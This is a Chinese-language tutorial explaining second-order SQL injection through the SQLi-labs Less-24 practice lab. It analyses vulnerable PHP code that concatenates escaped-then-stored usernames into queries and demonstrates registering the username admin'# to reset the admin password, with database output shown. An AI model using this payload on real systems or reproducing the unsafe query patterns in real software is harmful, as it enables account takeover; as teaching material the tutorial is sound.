二次注入
1 二次注入原理
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 mysqli_real_escape_string 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 \ 进行转义,但是 \ 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
如下代码所示:
<?php
error_reporting(0);
$con = new mysqli();
$con->connect('localhost', 'root', 'root', 'security', '3306');
$username = mysqli_real_escape_string($con, $_GET[1]);
$pass = mysqli_real_escape_string($con, $_GET[2]);
$sql = "insert into users (username, password) values('{$username}', '{$pass}')";
echo $sql . "<br>";
$result = $con->query($sql);
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。
2 源码分析
一个经典的二次注入场景,所以下面来理一下源码(SQLi_lab24):
2.1 index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 index.html 来看待就可以了,具体的界面如下:

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。
下面两个链接分别是:
Forgot your password?:跳转到forgot_password.php,简单的一张图,没啥用。New User click here?:跳转到new_user.php,可以创建一个新用户。
2.2 failed.php
检测会话,如果 Cookie 里面没有 Auth 参数的话,就跳转到 index.php。
密码重置失败后,跳转到此。
2.3 forgot_password.php
没啥用,过。
2.4 Logged-in.php
登录成功界面,可以进行密码重置,具体的界面如下:

2.5 new_user.php
创建新用户界面,本文件主要存放前段代码当作静态页面看就行,具体的界面如下:

2.6 login_create.php
创建新用户的后端代码,下面来简单理一下代码的流程:
## 判断是否有参数提交
if (isset($_POST['submit'])) {
## 接受用户提交的用户名和密码,并使用 mysql_escape_string 转义
$username = mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);
## 查询当前用户信息
$sql = "select count(*) from users where username='$username'";
## 如果当前用户已经存在,则无法注册
if (!$row[0] == 0)
## 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
2.7 login.php
登录用户名和密码都被过滤了:
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
2.8 pass_change.php
分析一下代码:
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php
3 思路分析
先查看创建用户的地方:
username = mysql_escape_string($_POST['username']) ;
$_POST['username'] 被 mysql_escape_string 函数转义了。
再看下更新密码的核心语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 $username 所以当 $username 可控的话 ,这里是存在 SQL 注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
回头看看 pass_change.php 文件,发现 $username 取值来自 $_SESSION["username"],而这个值取自 login.php 的 $_SESSION["username"] = $login,是从数据库中查出来的,有苗头。
4 步骤演示
注册一个 admin'# 的用户,注册完成后数据库的记录信息如下:
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)
成功添加了记录,虽然之前被转义了但转义不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录 admin'# 用户,然后修改当前的密码:

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 1 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)